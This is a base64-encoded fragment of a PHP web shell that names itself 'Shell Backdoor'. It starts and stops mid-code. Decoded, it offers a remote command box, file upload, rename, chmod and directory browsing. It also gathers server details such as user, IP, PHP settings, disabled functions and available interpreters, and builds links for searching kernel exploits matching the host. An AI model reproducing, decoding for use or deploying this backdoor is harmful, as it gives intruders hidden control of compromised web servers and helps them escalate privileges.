bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgIC8vIEV4cGxvaXQtZGIKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgICRleHBsaW5rID0gJ2h0dHA6Ly9leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX2Rlc2NyaXB0aW9uPSc7CiAgICAKICAgIGlmKCBzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlICkKICAgICAgICAkZXhwbGluayAuPSB1cmxlbmNvZGUoICdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpICk7CiAgICBlbHNlCiAgICAgICAgJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCAka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsMykgKTsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOwogICAgfQovLyBzZXBhcmF0ZSB0aGUgd29ya2luZyBkaXJlY290b3J5CiRwd2RzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRwd2QpOwokcHdkdXJsID0gIiI7CmZvcigkaSA9IDAgOyAkaSA8IHNpemVvZigkcHdkcyktMSA7ICRpKyspewogICAgJHBhdGh6ID0gIiI7CiAgICBmb3IoJGogPSAwIDsgJGogPD0gJGkgOyAkaisrKXsKICAgICAgICAkcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7CiAgICB9CiAgICAkcHdkdXJsIC49ICI8YSBocmVmPVwiP3k9Ii4kcGF0aHouIlwiPiIuJHB3ZHNbJGldLiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7Cn0KICAgIAovLyBSZW5hbWUgZmlsZSBvciBmb2xkZXIKaWYoaXNzZXQoJF9QT1NUWydSZW5hbWUnXSkpewogICAgJG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOwogICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwogICAgQFJlbmFtZSgkcHdkLiRvbGQsJHB3ZC4kbmV3KTsKICAgICRmaWxlID0gJHB3ZC4kbmV3Owp9CmlmKGlzc2V0KCRfUE9TVFsndXBsb2FkY29tcHQnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7IAogICAgICAgICRzdGF0ID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsJHBpbmRhaCk7fQogICAgICAgIH0KCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsKaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnJzsgfQplbHNlIHsgZWNobyAnJzsgfQp9CmlmKGlzc2V0KCRfUE9TVFsnQ2htb2QnXSkpeyAKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30gICAgCmlmKGlzc2V0KCRfUE9TVFsnQ2htb2RfZm9sZGVyJ10pKXsKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KLy8gcHJpbnQgdXNlZnVsIGluZm8KCiRidWZmICA9ICJTaGVsbCBCYWNrZG9vciA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjokY29sb3InPiAkYmFja2Rvb3JfbmFtZSAkdmVyc2k8L2ZvbnQ+PGI+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPjwvYT48L2I+PC9iPjwvZm9udD48Yj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+PGEgaHJlZj0nJHVwbGluaycgdGl0bGU9J1NlYXJjaCBTaGVsbCBCYWNrZG9vciBGcm9tIFNlY3VyaXR5IEV4cGxvZGVkJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlsgU2VjdXJpdHkgRXhwbG9kZWQgXTwvYT48L2I+PC9mb250Pjxicj5WZXJzaW9uIDogPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiRjb2xvcic+Ii4kdmVyc2kuIjwvZm9udD48L2E+PC9iPjxicj4gU29mdHdhcmUgOiA8Yj4iLiRzb2Z0d2FyZS4iPC9iPjxiciAvPiI7CiRidWZmIC49ICJTeXN0ZW0gT1MgOiA8Yj4iLiRzeXN0ZW0uIiAgfCA8YSBocmVmPSdodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9Ii51cmxlbmNvZGUoQHBocF91bmFtZSgpKS4iJyB0aXRsZT0nU2VhcmNoIFN5c3RlbSBPUyBGcm9tIEdvb2dsZScgdGFyZ2V0PSdfYmxhbmsnPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIEdvb2dsZSBdPC9mb250PjwvYT4gfCA8YSBocmVmPSciLiRtaWxsaW5rLiInIHRpdGxlPSdTZWFyY2ggS2FybmVsIEZyb20gTWlsdzBybScgdGFyZ2V0PV9ibGFuaz48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+WyBNaWx3MHJtIF08L2ZvbnQ+PC9hPiB8IDxhIGhyZWY9JyIuJGV4cGxpbmsuIicgdGl0bGU9J1NlYXJjaCBLYXJuZWwgRnJvbSBFeHBsb2l0LWRiJyB0YXJnZXQ9X2JsYW5rPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIEV4cGxvaXQtZGIgXTwvZm9udD48L2E+PC9iPjxiciAvPiI7CmlmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIklEIDogPGI+Ii4kaWQuIjwvYj48YnIgLz4iOwokYnVmZiAuPSAiUEhQIFZlcnNpb24gOiA8Yj4iLnBocHZlcnNpb24oKS4iPC9iPiBPTiA8Yj4iLnBocF9zYXBpX25hbWUoKS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPjxhIGhyZWY9JyRwaHBpbmZvJyB0aXRsZT0nUEhQIEluZm8nPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIFBIUCBJbmZvIF08L2ZvbnQ+PC9hPiA8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIlNlcnZlciBJUCA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz4iLiRzZXJ2ZXJfaXAuIjwvZm9udD48L2I+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj4gUG9ydCBTZXJ2ZXIgOiA8Yj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+Ii4kc2VydmVycG9ydC4iPC9mb250PjwvYj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+IFlvdXIgSVAgU3VydmluZyA6IDxiPjxhIGhyZWY9J2h0dHA6Ly93d3cuZG5zc3R1ZmYuY29tL3Rvb2xzP3J1bkZyb21NYWluPSIuZ2V0cmVhbGlwKCkuIiZ0b29sVHlwZT10cmFjZXJvdXRlJyB0aXRsZT0nVHJhY2Vyb3V0ZSBZb3VyIElQJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPiIuZ2V0cmVhbGlwKCkuIjxmb250PjwvYT48L2I+PHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPiBBZG1pbiA6IDxiPiIuJGFkbWluX2lkLiI8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIkZyZWUgRGlzazogPGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuY29udmVydEJ5dGUoZGlza19mcmVlX3NwYWNlKCIvIikpLiIgPHNwYW4gY2xhc3M9XCJnYXlhXCI+IC8gPC9zcGFuPiAiLmNvbnZlcnRCeXRlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvYj48L2ZvbnQ+PC9zcGFuPjxiciAvPiI7CmlmKCRzYWZlbW9kZSkgJGJ1ZmYgLj0gIlNhZmVtb2RlOiA8c3BhbiBjbGFzcz1cImdheWFcIj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+PGI+T048L2I+PC9mb250Pjwvc3Bhbj48YnIgLz4iOwplbHNlICRidWZmIC49ICJTYWZlbW9kZTogPHNwYW4gY2xhc3M9XCJnYXlhXCI+PGI+T0ZGPC9iPjwvc3Bhbj48YnIgLz4iOwokYnVmZiAuPSAiRGlzYWJsZSBGdW5jdGlvbnM6ICIuc2hvd2Rpc2FibGVmdW5jdGlvbnMoKS4iPGJyIC8+IjsKJGJ1ZmYgLj0gIk15U1FMOiAiLnRlc3RteXNxbCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7TVNTUUw6ICIudGVzdG1zc3FsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UGVybDogIi50ZXN0cGVybCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UHl0aG9uOiAiLnRlc3RweXRob24oKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO1J1Ynk6ICIudGVzdHJ1YnkoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0phdmE6ICIudGVzdGphdmEoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0dDQzogIi50ZXN0Z2NjKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtjVVJMOiAiLnRlc3RjdXJsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtXR2V0OiAiLnRlc3R3Z2V0KCkuIjxicj4iOwokYnVmZiAuPSI8Zm9udCBjb2xvcj0wMGZmMDAgPkRyaXZlIDogPGI+Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybC4iPC9iPjwvZm9udD4iOwoKCiBmdW5jdGlvbiByYXBpaCgkdGV4dCl7CiAgICByZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyIC8+IiwiIiwkdGV4dCkpOwp9CgpmdW5jdGlvbiBtYWdpY2Jvb20oJHRleHQpewogICAgaWYgKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICAgICAgIHJldHVybiAkdGV4dDsKICAgIH0gCiAgICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsKfQoKZnVuY3Rpb24gc2hvd2RpcigkcHdkLCRwcm9tcHQpewogICAgJGZuYW1lID0gYXJyYXkoKTsKICAgICRkbmFtZSA9IGFycmF5KCk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKSAkcG9zaXggPSBUUlVFOwogICAgZWxzZSAkcG9zaXggPSBGQUxTRTsKICAgICR1c2VyID0gIj8/Pz86Pz8/PyI7CiAgICBpZigkZGggPSBAc2NhbmRpcigkcHdkKSl7CiAgICAgICAgZm9yZWFjaCgkZGggYXMgJGZpbGUpewogICAgICAgICAgICBpZihpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRkbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRmbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIGlmKCRkaCA9IEBvcGVuZGlyKCRwd2QpKXsKICAgICAgICAgICAgd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKXsKICAgICAgICAgICAgICAgIGlmKEBpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICAgICAkZG5hbWVbXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmKEBpc19maWxlKCRmaWxlKSl7CiAgICAgICAgICAgICAgICAgICAgJGZuYW1lW10gPSAkZmlsZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBAY2xvc2VkaXIoJGRoKTsKICAgICAgICB9CiAgICB9CiAgICBzb3J0KCRmbmFtZSk7CiAgICBzb3J0KCRkbmFtZSk7CiAgICAkcGF0aCA9IEBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7CiAgICAkdHJlZSA9IEBzaXplb2YoJHBhdGgpOwogICAgJHBhcmVudCA9ICIiOwogICAgJGJ1ZmYgPSAiPGNlbnRlcj4KICAgIDxmb3JtIGFjdGlvbj1cIj95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsXCIgbWV0aG9kPVwicG9zdFwiIHN0eWxlPVwibWFyZ2luOjhweCAwIDAgMDtcIj4KICAgIDx0YWJsZSBjbGFzcz1cImNtZGJveFwiIHN0eWxlPVwid2lkdGg6NDUlO1wiPgogICAgPHRyPjx0ZD48Yj4kcHJvbXB0PC9iPjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImNtZFwiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1oZWxwIC8+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR28gIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJtYXJnaW46OHB4IDAgMCAwO1wiPgogICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgPHRyPjx0ZD48Yj5WaWV3IDwvYj48L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9XCJ0aGlzLmZvY3VzKCk7XCIgaWQ9XCJnb3RvXCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJ2aWV3XCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3ICFcIiBuYW1lPVwic3VibWl0Y21kXCIgc3R5bGU9XCJ3aWR0aDo4MHB4O1wiIC8+PC90ZD48L3RyPjwvY2VudGVyPgogICAgCiAgICA8L2Zvcm0+PC90YWJsZT48YnI+PHRhYmxlIGNsYXNzPVwiZXhwbG9yZVwiPgogICAgPHRyPjx0aD5OYW1lPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlNpemU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjIxMHB4O1wiPk93bmVyOkdyb3VwPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlBlcm1zPC90aD48dGggc3R5bGU9XCJ3aWR0aDoxMTBweDtcIj5Nb2RpZmllZDwvdGg+PHRoIHN0eWxlPVwid2lkdGg6MTkwcHg7XCI+QWN0aW9uczwvdGg+PC90cj4KICAgICI7CiAgICBpZigkdHJlZSA+IDIpIGZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgIGVsc2UgJHBhcmVudCA9ICRwd2Q7ICAKCiAgICBmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsKICAgICAgICBpZigkZm9sZGVyID09ICIuIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRwd2QpKS4iPC90ZD48dGQ+PHNwYW4gaWQ9XCJ0aXRpazFcIj4KICAgICAgICAgICAgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcHdkLiJuZXdmaWxlLnBocFwiPk5ldyBGaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazEnLCd0aXRpazFfZm9ybScpO1wiPk5ldyBGb2xkZXI8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMScsJ3RpdGlrNF9mb3JtJyk7XCI+VXBsb2FkPC9hPjwvc3Bhbj4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHbyAhXCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCJcIiBpZD1cInRpdGlrNF9mb3JtXCIgbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJmaWxlXCIgbmFtZT1cImZpbGVcIiBzaXplPVwiMjBcIi8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwiX3VwbFwiIHR5cGU9XCJzdWJtaXRcIiBpZD1cIl91cGxcIiB2YWx1ZT1cIlVwbG9hZFwiLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIAogICAgICAgICAgICBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+CiAgICAgICAgICAgIDwvZm9ybT48L3RkPgogICAgICAgICAgICAKICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgIjsKICAgICAgICB9CiAgICAgICAgZWxzZWlmKCRmb2xkZXIgPT0gIi4uIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4VUFNMHFMejZ3QUFBTExTVVJCVkRqTGJWUFJTMU5SR1ArZDNidHJzN2tabUFZWGxTWllVSzRIUVhDUkVQV1VRU1NZSUQxR0VLS3gvQWYyNWxNK0RDRkNlNGhleWdjTmRJVUVTVDA0UVc2QmpTMHl4NVVoa1c2RkV0dk9QZmM3cDRlbVhjb2ZIUGc0NTN5LzczZSs3M2NBRHl6TE9veS9iSHpSOC9sODBMYnRZRDV2NndmNzJWek9td0xtVGU3dTdvWmxXY2NiR2hwR05KOTJIUXd0dGVOdlNxbVhKT1dqTTUyZFBQTXBnL05kNS84U3BGSXA5UGYzdzdLc1M0RkE0QmxqckIxSFFDbVZjNFY3TzNvaCttRmxaUVd4V0F3c2tVZ2drVWhnZVhrNUZnNkhGNW1QbldDQUFoaFRVR0NLUVVGNWViNExJYTcyOVBSa25yOTQva2ZCd01EQXNYZzgvdEh2OTU4Rm9EeFA4OFllSlRMZDJ4dUxBWUFQQUlhR2h1NUlLYzl5enNFNVo0N2pZSFYxOVVPcFZOb1hRc0M3T09kd0hORzd0TFIwRXdEMFVDaXM2N3AyblhNT0FDaVhLNy9ldjMvM1pISnk4bkV5bVp3eURNTThxRXhFeWpUTjl2cjYrb0FRNGdhQWVmM2l4VmdkNTg0cHcrRFkzZDB0VEU5UGo2VFQ2VGZCWUpDUGo0L2ZCdUEvSUJCQytHWm1aaFpiV2xyT09ZNWpEZzhQYTNxcFZFS2xVb0hmNzBjZ0VHZ2VIUjJOUEhnUVY0T0R0OVRzN0t3RVFBQ2dhUnBTcVZkUVNyRnF0WXBxdFNwdDJ3WURZRXhNVE15M3RiVmRrMUxXcHFYZWJtMXQzVGROODZtdTY1RmFNdytzRTJLTTZUOS8vcGdhR3hzYjFRRTRhMnRycjV1YW1xNTVHbjJsK1dSeldnaWhFVkg5RVg1QUpwT1pCd0FOQUhLNVhLR2pvNk92c2JIUmRGMFhSQVFwWloyVTBrOUVpb2dZRVlHSWxKU1MyYlk5bTB3bUh3SlFXbzMwMS9iMmRpRVNpVncyakxvUUVURnlYZVdTeTRoYzVycUhKS3hZTEdibjV1YnVGb3ZGMHFFQ0FOamYzN2UvYm16a2pEcmpkQ2dVYW1VK01DSUpJZ2twaVpYTFpabk5aaGNXRmhidWJXNXVmdTdxNnNMT3pzNy9MZ1BRM3RyYTJoK05SdnZDNGZBcEFISnZiMjlyZlgxOXFWQW92QWF3ZCtSdi9BYytBTWNBR0xVSlZBQTRSMTM4RGVGK2NYK3hSL0FHQUFBQUFFbEZUa1N1UW1DQyc+PC9hPjwvdGQ+PHRkPi08L3RkPgogICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD4KICAgICAgICAgICAgPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHBhcmVudCkuIjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PHNwYW4gaWQ9XCJ0aXRpazJcIj48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwYXJlbnQuIm5ld2ZpbGUucGhwXCI+TmV3IEZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+TmV3IEZvbGRlcjwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsyJywndGl0aWszX2Zvcm0nKTtcIj5VcGxvYWQ8L2E+PC9zcGFuPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2x